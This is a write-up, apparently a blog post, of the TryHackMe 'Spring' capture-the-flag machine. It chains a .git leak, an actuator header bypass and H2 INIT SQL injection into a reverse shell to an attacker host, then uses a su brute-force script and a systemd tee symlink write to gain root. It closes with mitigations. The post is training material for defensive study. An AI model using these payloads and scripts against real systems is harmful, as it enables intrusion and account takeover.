This machine presents a deliberately misconfigured Spring Boot application sitting behind HTTPS on port 443. The attack surface opened immediately with an exposed .git directory — reconstructing the source code with git-dumper revealed not only valid credentials but a non-standard IP trust header that was the only key to unlocking the actuator endpoints. With the actuator accessible, a chained attack combining a fake Spring Cloud Config Server response and an H2 database INIT SQL injection delivered a shell as nobody. From there, a pattern-based brute force against su derived from two known passwords and a developer's commit message — landed credentials for johnsmith. The escalation path to root came through a root-owned systemd service that wrote log output into a directory owned by johnsmith: by pre-creating symlinks pointing at /root/.ssh/authorized_keys and using the application's own Hello World endpoint as a write primitive, the attacker's public key was injected into root's authorized keys, and SSH access was established.
Press enter or click to view image in full size
Attack Path: git-dumper (.git exposure) → source code review (custom IP header + credentials) → actuator env dump (plaintext secrets) → H2 INIT SQL injection (shell as nobody) → pattern-based wordlist + su brute force (johnsmith) → systemd tee symlink write (root)
Platform: TryHackMe
Machine: Spring
Difficulty: Hard
OS: Linux (Ubuntu 18.04.4 LTS)
Date: April 2026
Table of Contents1. Reconnaissance
1.1 Full Port Scan
1.2 Service Enumeration
1.3 Web Enumeration2. Source Code Recovery
2.1 Git Directory Exposure
2.2 Credential and Configuration Extraction3. Initial Access — Spring Boot Actuator RCE via H2 SQL Injection
3.1 Actuator IP Restriction Bypass
3.2 Runtime Environment Dump
3.3 Connectivity Probe
3.4 Fake Config Server and H2 Exploit Chain4. Lateral Movement — Pattern-Based su Brute Force
4.1 Password Pattern Inference
4.2 Wordlist Generation and Sorting
4.3 Wordlist Formatting and Transfer
4.4 Brute Force Execution
4.5 Stable SSH Access5. Privilege Escalation — systemd tee Symlink Write to Root
5.1 Service Enumeration
5.2 The Write Primitive
5.3 Exploit Script6. Proof of Compromise7. Vulnerability Summary8. Defense and Mitigation
1. Reconnaissance
1.1 Full Port Scan
The engagement began with a full TCP port scan to establish the complete attack surface before committing to service enumeration.
nmap -Pn -p- --open <TARGET_IP>PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open httpsThree ports: SSH on 22, HTTP on 80, and HTTPS on 443. The HTTP port immediately redirected to HTTPS, indicating that 443 was the primary application surface.
1.2 Service Enumeration
A targeted service scan against the two web ports confirmed the technology stack.
nmap -Pn -p80,443 --open -sV --script http-enum,http-title <TARGET_IP>80/tcp open http Apache Tomcat (language: en)
|_http-title: Did not follow redirect to https://<TARGET_IP>/
443/tcp open ssl/http Apache Tomcat (language: en)
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).Both ports were running Apache Tomcat. Inspecting the TLS certificate on port 443 revealed the subject CN=John Smith, O=spring.thm — a named individual and an internal domain, both useful for later targeting.
1.3 Web Enumeration
Directory enumeration against the HTTPS application surface revealed two notable paths.
gobuster dir -u https://<TARGET_IP> \
-w /usr/share/wordlists/dirb/common.txt -k/logout (Status: 302) [--> https://<TARGET_IP>/login?logout]
/sources (Status: 302) [--> /sources/]Press enter or click to view image in full size
The /logout redirect confirmed Spring Security was handling authentication. The /sources path pointed to a static file directory, the significance of which would become clear after recovering the source code.
A second round of enumeration was then performed specifically against /sources/, which revealed an additional subdirectory.
Press enter or click to view image in full size
The presence of /sources/new/ suggested a separate deployment or archived code location, making it a strong candidate for further review.
Press enter or click to view image in full size
💡 The
-kflag suppresses TLS certificate validation errors — essential when testing applications using self-signed certificates.
2. Source Code Recovery
2.1 Git Directory Exposure
Browsing to https://<TARGET_IP>/.git/ returned a directory listing rather than a 404, confirming that the .git metadata directory had been deployed alongside the application. git-dumper was used to reconstruct the full repository from loose objects and pack files.
pip install git-dumper
git-dumper https://<TARGET_IP>/.git/ git-dump/
cd git-dump && tree.
├── build.gradle
├── gradle/wrapper/gradle-wrapper.properties
├── gradlew
├── gradlew.bat
├── settings.gradle
└── src/main/
├── java/com/onurshin/spring/Application.java
├── resources/application.properties
└── resources/dummycert.p12Reviewing the git log immediately surfaced a critical clue.
git log --oneline
git show <COMMIT_HASH>One commit message read: “changed security password to my usual format” — a direct signal that a password pattern was in use across multiple credentials.
2.2 Credential and Configuration Extraction
application.properties contained the application's full runtime configuration in plaintext.
spring.security.user.name=johnsmith
spring.security.user.password=<REDACTED_PASSWORD>
server.tomcat.remoteip.remote-ip-header=x-9ad42dea0356cb04
management.endpoint.env.keys-to-sanitize=
management.endpoints.web.exposure.include=health,env,beans,shutdown,mappings,restart
server.forward-headers-strategy=native
spring.cloud.config.uri=
spring.cloud.config.allow-override=trueThree properties were immediately significant. First, a non-standard IP trust header — x-9ad42dea0356cb04 — replaced the conventional X-Forwarded-For. Second, management.endpoint.env.keys-to-sanitize was deliberately left blank, meaning the actuator would expose all secrets in plaintext rather than masking them with asterisks. Third, spring.cloud.config.uri it was empty and allow-override was true, making the config URI injectable at runtime.
Application.java confirmed the actuator restriction:
.antMatchers("/actuator**/**").hasIpAddress("172.16.0.0/24")Access to all actuator endpoints was restricted to the 172.16.0.0/24 subnet. However, because server.forward-headers-strategy=native it was set, Tomcat would resolve the client's IP from the header named in server.tomcat.remoteip.remote-ip-header — which was the custom header discovered above. Any request supplying that header with a value inside the trusted subnet would bypass the restriction entirely.
💡 This finding was only possible because the source code was available. Generic tools and off-the-shelf advisories would suggest
X-Forwarded-Foras the bypass vector — which this application completely ignores. Source code review converted a dead end into the engagement's central pivot.
build.gradle confirmed the dependency versions:
Spring Boot 2.3.1.RELEASE
Spring Cloud Greenwich.SR4
H2 database (in-memory, runtimeOnly)3. Initial Access — Spring Boot Actuator RCE via H2 SQL Injection
3.1 Actuator IP Restriction Bypass
With the custom trust header identified, actuator access was straightforward.
curl -sk \
-H "x-9ad42dea0356cb04: 172.16.0.1" \
-u johnsmith:<REDACTED_PASSWORD> \
https://<TARGET_IP>/actuator/env | python3 -m json.toolThe endpoint responded with the full runtime environment dump, confirming the bypass was successful.
3.2 Runtime Environment Dump
The /actuator/env response exposed several properties that were not present in the git repository, confirming that command-line arguments override classpath configuration at the highest priority level.
"commandLineArgs": {
"server.ssl.key-store": { "value": "/opt/privcert.p12" },
"server.ssl.key-store-password": { "value": "<REDACTED_PASSWORD>" }
}The dummycert.p12 Referenced in the commitment application.properties was a decoy. The real TLS certificate resided at /opt/privcert.p12 and was passed at startup via command-line arguments — a deliberate separation of the production secret from the version-controlled configuration.
The system environment block revealed the full launch command and confirmed the process ownership model:
"SUDO_COMMAND": "/bin/su nobody -s /bin/bash -c java ... -jar spring-0.0.1-SNAPSHOT.jar",
"USERNAME": "root",
"USER": "nobody"Root initiated the process, then dropped privileges to nobody via su. The JVM and any shell spawned from it would run as nobody. The java.class.path Property confirmed the JAR location: /opt/spring/sources/new/spring-0.0.1-SNAPSHOT.jar — inside the /sources/ static directory discovered during enumeration, making the JAR directly downloadable.
The /actuator/mappings response confirmed three endpoints that together form the RCE primitive:
POST /actuator/env ← inject a runtime property
DELETE /actuator/env ← remove injected properties
POST /actuator/restart ← restart the application context
POST /actuator/shutdown ← terminate the JVM process entirely3.3 Connectivity Probe
Before constructing the full exploit chain, outbound connectivity from the target was verified. A fake spring.cloud.config.uri was injected, and the application was restarted.
# Inject a test config URI pointing at the attacker machine
curl -sk -X POST \
-H "Content-Type: application/json" \
-H "x-9ad42dea0356cb04: 172.16.0.1" \
-u johnsmith:<REDACTED_PASSWORD> \
-d '{"name":"spring.cloud.config.uri","value":"http://<ATTACKER_IP>:8888"}' \
https://<TARGET_IP>/actuator/env# Restart the application context
curl -sk -X POST \
-H "x-9ad42dea0356cb04: 172.16.0.1" \
-u johnsmith:<REDACTED_PASSWORD> \
https://<TARGET_IP>/actuator/restartThe netcat listener on port 8888 received the connection:
Connection received on <TARGET_IP>
GET /application/default HTTP/1.1
User-Agent: Java/1.8.0_252Outbound connectivity was confirmed, and the Spring Cloud Config client was active. The GET /application/default request matched the expected client fetch pattern: /<app-name>/<profile>.
3.4 Fake Config Server and H2 Exploit Chain
The exploit chain worked as follows. A fake Spring Cloud Config Server response was served from the attacker's machine. That response contained a malicious spring.datasource.url use of H2's INIT parameter, which executes SQL at connection time. The SQL payload used H2's CREATE ALIAS feature to define a Java method as a stored procedure, then called that method with a reverse shell command.
Directory structure on the attacker machine:
mkdir ~/spring-rce && cd ~/spring-rceFake config server response (application-default.json):
{
"name": "application",
"profiles": ["default"],
"label": null,
"version": null,
"state": null,
"propertySources": [
{
"name": "malicious",
"source": {
"spring.datasource.url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://<ATTACKER_IP>:8889/exploit.sql'"
}
}
]
}SQL payload (exploit.sql):
CREATE ALIAS IF NOT EXISTS EXEC AS $$ String exec(String cmd) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", cmd};
Process proc = rt.exec(commands);
return "done";
} $$;
CALL EXEC('bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1');H2 compiles CREATE ALIAS definitions as real Java inside the running JVM. Runtime.exec() spawns the reverse shell as a subprocess inheriting the JVM's process context.
Get Roshan Rajbanshi’s stories in your inbox
Join Medium for free to get updates from this writer.
Serving the payloads:
# Terminal 1 — config server
python3 -m http.server 8888# Terminal 2 — SQL payload server
python3 -m http.server 8889Reverse shell listener:
nc -lvnp 4444Injecting the datasource property and triggering a restart:
curl -sk -X POST \
-H "Content-Type: application/json" \
-H "x-9ad42dea0356cb04: 172.16.0.1" \
-u johnsmith:<REDACTED_PASSWORD> \
-d '{"name":"spring.datasource.url","value":"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '\''http://<ATTACKER_IP>:8889/exploit.sql'\''"}' \
https://<TARGET_IP>/actuator/envcurl -sk -X POST \
-H "x-9ad42dea0356cb04: 172.16.0.1" \
-u johnsmith:<REDACTED_PASSWORD> \
https://<TARGET_IP>/actuator/restartThe hit sequence on the attacker's machine confirmed the full chain:
Port 8888: GET /application/default ← config fetched
Port 8889: GET /exploit.sql ← H2 INIT triggered
Port 4444: nobody@spring:/$ ← shell received4. Lateral Movement — Pattern-Based su Brute Force
4.1 Password Pattern Inference
Two passwords were known at this point from the source code and the actuator dump:
<REDACTED_PASSWORD> ← Spring security user (application.properties)
<REDACTED_PASSWORD> ← TLS keystore (command-line argument at startup)Both followed the same structure: PrettyS3cure + a capitalized English word + Password123. The commit message — "changed security password to my usual format" — confirmed this was a deliberate convention. The reasonable assumption was that johnsmith's OS account password followed the same pattern.
💡 This is pattern-based password inference — not a dictionary attack in the traditional sense. Two known examples were enough to define a precise search space, reducing 14 million rockyou entries to under 90,000 candidates before a single authentication attempt was made.
4.2 Wordlist Generation and Sorting
Capitalized words were extracted from rockyou.txt using a regular expression that matched words beginning with a single uppercase letter followed by one or more lowercase letters — exactly the pattern the known passwords used.
# Extract capitalized single-case words from rockyou
cat /usr/share/wordlists/rockyou.txt | grep -E '^[A-Z][a-z]+$' > pass.txt
wc -l pass.txt
# 89,652 wordsThe extracted list was in the arbitrary order of rockyou.txt, which is frequency-biased toward common passwords but not sorted alphabetically. To increase the likelihood of an early hit, the list was sorted alphabetically so that the brute force would step through words in a consistent, predictable sequence — allowing progress to be tracked and the run to be resumed at a known position if interrupted.
sort pass.txt > pass_sorted.txt4.3 Wordlist Formatting and Transfer
With the sorted base list in place, each word was expanded into the full candidate password using sed. Pre-building the complete password string meant the brute force script could pass each line directly to su without performing any string construction at runtime.
# Pre-build the full password for each word
cat pass_sorted.txt | sed 's/.*/PrettyS3cure&Password123./' > formatted.txt
head -3 formatted.txtPrettyS3cureAaronPassword123.
PrettyS3cureAbPassword123.
PrettyS3cureAbbyPassword123.The formatted wordlist was served from the attacker's machine and downloaded to the target.
# On attacker machine
python3 -m http.server 9001# On target
wget -q http://<ATTACKER_IP>:9001/formatted.txt -O /tmp/formatted.txt4.4 Brute Force Execution
SSH on this machine accepts public key authentication only, ruling out Hydra over SSH. The only viable path was brute forcing su on the target itself. su requires a TTY and will not accept passwords from a non-interactive pipe. The script -qc wrapper creates a pseudo-TTY that satisfies this requirement.
cat > /tmp/su_bruteforce.sh << 'EOF'
#!/bin/bashTARGET_USER="johnsmith"
WORDLIST="${1:-/tmp/formatted.txt}"
COUNTER=0
TOTAL=$(wc -l < "$WORDLIST")echo "[+] Target : $TARGET_USER"
echo "[+] Words : $TOTAL"
echo "--------------------------------------------"while IFS= read -r password || [[ -n "$password" ]]; do
[[ -z "$password" ]] && continue
COUNTER=$((COUNTER + 1)) output=$( ( sleep 0.1s && echo "$password" ) | \
script -qc "su $TARGET_USER -c 'id'" /dev/null 2>/dev/null) if [[ "$output" == *"uid="* && "$output" != *"Authentication failure"* ]]; then
echo ""
echo "[+] CRACKED! $TARGET_USER:$password"
echo "$output"
echo "$password" > /tmp/found_password.txt
exit 0
else
printf "[%6d/%d] FAIL %s\n" "$COUNTER" "$TOTAL" "$password"
fidone < "$WORDLIST"echo "[-] Not found after $COUNTER attempts"
EOFbash /tmp/su_bruteforce.sh /tmp/formatted.txt
The password was recovered at attempt 320:
[+] CRACKED! johnsmith:<REDACTED_PASSWORD>
uid=1000(johnsmith) gid=1000(johnsmith) groups=1000(johnsmith)To establish a stable session and free the reverse shell from blocking the web server process, an SSH keypair was generated, and the public key was added to johnsmith's authorized keys.
# On attacker machine
ssh-keygen -t ed25519 -f /tmp/johnsmith_key -N ""# On target as johnsmith
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "<ATTACKER_PUBLIC_KEY>" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys# Connect
ssh -i /tmp/johnsmith_key johnsmith@<TARGET_IP>
5. Privilege Escalation — systemd tee Symlink Write to Root
5.1 Service Enumeration
Enumerating non-standard systemd services revealed the escalation path.
cat /etc/systemd/system/spring.service[Unit]
Description=Spring Boot Application
After=syslog.target
StartLimitIntervalSec=0[Service]
User=root
Restart=always
RestartSec=1
ExecStart=/root/start_tomcat.sh[Install]
WantedBy=multi-user.target
/root/start_tomcat.sh was not readable, but systemctl status spring.service revealed its contents through the process tree:
├─ /bin/bash /root/start_tomcat.sh
├─ sudo su nobody ... java -jar spring-0.0.1-SNAPSHOT.jar
└─ tee /home/johnsmith/tomcatlogs/<epoch_timestamp>.logPress enter or click to view image in full size
Three facts combined to create the vulnerability. tee was running as root, writing log output to a file named with the current Unix epoch timestamp. The tomcatlogs directory was owned by johnsmith — writable without restriction. And Restart=always with RestartSec=1 meant the service would resurrect itself within one second of being terminated, generating a fresh tee invocation with a new timestamp.
💡 The log filename was the epoch timestamp at the moment the service started — entirely predictable. Owning the parent directory meant that symlinks could be pre-created under any predictable filename, and root’s
teewould follow them without question.
5.2 The Write Primitive
The Hello World controller in Application.java contained a second detail that made this exploit precise:
public String hello(@RequestParam(value = "name", defaultValue = "World") String name) {
System.out.println(name);
return String.format("Hello, %s!", name);
}System.out.println(name) writes the name request parameter directly to the JVM's standard output — which tee was capturing and writing to the log file. This meant any content sent as the name parameter would be written into whatever file the symlink pointed at.
/root/.ssh/authorized_keys was the ideal target. SSH silently skips lines it cannot parse as valid public keys, so all of the Spring Boot startup output would be ignored — only a valid key line would be acted upon.
The exploit required /root/.ssh/ to be absent at the time of execution — confirmed during enumeration — meaning tee would create both the directory and the file upon first write, provided the symlink was in place beforehand.
5.3 Exploit Script
The full exploit was scripted and run from inside the tomcatlogs directory.
cat > /home/johnsmith/tomcatlogs/get_root.sh << 'EOF'
#!/bin/bash# Generate SSH keypair if one does not already exist
[ -f ./key ] || ssh-keygen -t ed25519 -f ./key -q -N ""
pubkey=$(cat ./key.pub)# Send shutdown to the actuator — this terminates the JVM entirely,
# forcing systemd to restart the service with a fresh tee and a new timestamp
curl -sk -X POST https://localhost/actuator/shutdown \
-H 'x-9ad42dea0356cb04: 172.16.0.1' \
-u johnsmith:<REDACTED_PASSWORD>echo "[*] Shutdown sent — planting symlinks..."# Pre-create 30 symlinks covering the next 30 seconds of possible restart timestamps
# This eliminates timing precision as a requirement
d=$(date '+%s')
for i in {1..30}; do
let time=$(( d + i ))
ln -sf /root/.ssh/authorized_keys "${time}.log" 2>/dev/null
doneecho "[*] Waiting for service to restart..."
sleep 30s# Send the attacker public key as the name parameter
# System.out.println writes it to stdout, tee writes it to the symlink target
echo "[*] Writing public key via Hello World endpoint..."
curl -sk --data-urlencode "name=$pubkey" https://localhost/ \
-u johnsmith:<REDACTED_PASSWORD>sleep 5secho "[*] Connecting as root..."
ssh -o "StrictHostKeyChecking=no" -i ./key root@localhost
EOFcd /home/johnsmith/tomcatlogs
bash get_root.sh
⚠️ The critical distinction here is
/actuator/shutdownversus/actuator/restart. The restart endpoint bounces the Spring application context within the existing JVM process —teekeeps running with the same timestamp and the same file handle. Shutdown terminates the entire process, forcing systemd to executestart_tomcat.shfrom scratch and produce a newteeinvocation with a fresh timestamp that the symlinks can intercept.
The script executed successfully. The service restarted, tee followed the symlink into /root/.ssh/authorized_keys, the public key was written via the Hello World endpoint, and the SSH connection was established:
root@spring:~# id
uid=0(root) gid=0(root) groups=0(root)6. Proof of Compromise
uid=0(root) gid=0(root) groups=0(root)7. Vulnerability Summary
# Vulnerability Severity Impact 1 Exposed .git directory in web root High Full source code and credential disclosure 2 Hardcoded credentials in version-controlled config High Valid authentication against live application 3 Spring Boot Actuator exposed with IP-bypass misconfiguration Critical Full runtime environment read and write access 4 Blank keys-to-sanitize In the actuator env endpoint, High All secrets exposed in plaintext 5 Injectable spring.cloud.config.uri with H2 in-memory database Critical Unauthenticated remote code execution 6 Predictable password pattern across credentials Medium Password recovery via targeted brute force 7 Root-owned process writing to user-writable directory High Arbitrary file write as root via symlink
8. Defense and Mitigation
8.1 Exposed .git Directory
Root Cause: The application was deployed by copying the project directory to the web root without stripping version control metadata. The .git directory served as static content, allowing complete source code and commit history reconstruction.
Mitigations:
- Exclude
.gitfrom deployment artifacts. Use.gitignorepatterns in deployment pipelines and verify no metadata directories are present in the web root before go-live. - Block access at the web server level. For Apache Tomcat, restrict access to dot-directories:
<security-constraint>
<web-resource-collection>
<url-pattern>/.git/*</url-pattern>
</web-resource-collection>
<auth-constraint/>
</security-constraint>- Scan for exposed metadata before deployment using tools such as
truffleHogorgitleaksin the CI/CD pipeline.
8.2 Hardcoded Credentials in Version-Controlled Configuration
Root Cause: Credentials were committed directly into application.properties, which was tracked by git. Any exposure of the repository — intentional or otherwise — resulted in immediate credential disclosure.
Mitigations:
- Never commit credentials to version control. Use environment variables or a secrets manager (HashiCorp Vault, AWS Secrets Manager, Spring Cloud Vault) to inject credentials at runtime.
- Rotate all credentials exposed in the git history immediately upon discovery. Removing the file from HEAD is insufficient — the history must be rewritten using
git filter-branchorgit filter-repoAnd the remote must be force-pushed. - Scan commit history in CI/CD using
gitleaksortruffleHogto detect secrets before they reach a remote repository.
8.3 Actuator Misconfiguration and IP Bypass
Root Cause: The actuator was restricted to a trusted subnet using Spring Security’s hasIpAddress, but server.forward-headers-strategy=native was configured alongside a custom remote-ip-header. This combination allowed any client to spoof a trusted source IP by supplying the appropriate header value.
Mitigations:
- Disable actuator endpoints that are not required in production. The minimum safe configuration exposes only
/actuator/health:
management.endpoints.web.exposure.include=health
management.endpoints.enabled-by-default=false
management.endpoint.health.enabled=true- Never use header-based IP trust for security-sensitive access control without a properly configured reverse proxy that strips and re-injects the header. If the header can be set by the client, the check is bypassed.
- Require authentication for all actuator endpoints regardless of IP restrictions, treating network position and header values as untrusted.
8.4 Blank keys-to-sanitize
Root Cause: The management.endpoint.env.keys-to-sanitize property was set to an empty string, disabling Spring Boot's built-in secret masking for the /actuator/env endpoint. All property values — passwords, keys, connection strings — were returned in plaintext.
⚠️ The default Spring Boot behavior masks values for keys matching patterns like
password,secret,key, andtoken. Explicitly clearing this list removes all protection.
Mitigations:
- Do not override the default sanitization list unless there is a specific, justified reason to do so.
- If custom sanitization is required, extend the defaults rather than replacing them:
management.endpoint.env.keys-to-sanitize=password,secret,key,token,credentials,vcap_services,sun.java.command8.5 Injectable Spring Cloud Config URI with H2 INIT
Root Cause: Three conditions aligned to produce remote code execution: the spring.cloud.config.uri property was blank and injectable via the writable actuator env endpoint. spring.cloud.config.allow-override=true permitted runtime property injection; and the H2 in-memory database was present as a runtime dependency, providing the INIT=RUNSCRIPT FROM code execution primitive.
Mitigations:
- Remove the H2 dependency from production builds. H2 is a development and testing database and should be scoped accordingly:
testRuntimeOnly 'com.h2database:h2'- Disable the writable actuator env endpoint in production. The
POST /actuator/envendpoint exists for Spring Cloud Config refresh workflows and has no legitimate use in a hardened deployment. - Explicitly set
spring.cloud.config.allow-override=falseif external config is not in use, preventing any runtime property injection.
8.6 Predictable Password Pattern
Root Cause: A consistent password format was applied across all credentials used by the same operator. A developer's commit message explicitly disclosed the pattern, and two known passwords confirmed it. This reduced the effective keyspace from millions of candidates to fewer than 400 before the correct password was recovered.
Mitigations:
- Use a password manager to generate and store unique, random credentials for each service. No two credentials for the same individual should share a pattern.
- Do not describe password formats in commit messages. Commit messages are version-controlled history and may be exposed through git metadata leaks.
- Enforce password uniqueness across service accounts and personal accounts for all personnel with privileged system access.
8.7 Root Process Writing to User-Writable Directory
Root Cause: The systemd service executed tee as root, writing to a file inside a directory owned and writable by an unprivileged user. Because the directory was writable, that user could replace any future file path inside it with a symlink pointing to an arbitrary target. Roots tee followed the symlink without any validation, producing a root-owned write to a file the unprivileged user specified.
⚠️ This class of vulnerability — a privileged process operating on paths inside a directory controlled by a less-privileged user — is a symlink attack. The predictability of the target filename (Unix epoch timestamp) made exploitation trivial.
Mitigations:
- Never write privileged output to directories owned by unprivileged users. Log output from root processes must go to paths owned by root, such as
/var/log/spring/:
mkdir -p /var/log/spring
chown root:root /var/log/spring
chmod 750 /var/log/spring- Use
tee -awith an absolute, root-owned path, and ensure the parent directory is not writable by any other user. - Configure systemd logging to capture service stdout via the journal rather than piping to a user-space
teeinvocation:
[Service]
StandardOutput=journal
StandardError=journal- Apply the sticky bit to shared directories where unprivileged users must write but should not be able to influence each other’s files. While this does not fully mitigate the issue when a privileged process is involved, it reduces casual symlink planting in shared locations:
chmod +t /home/johnsmith/tomcatlogs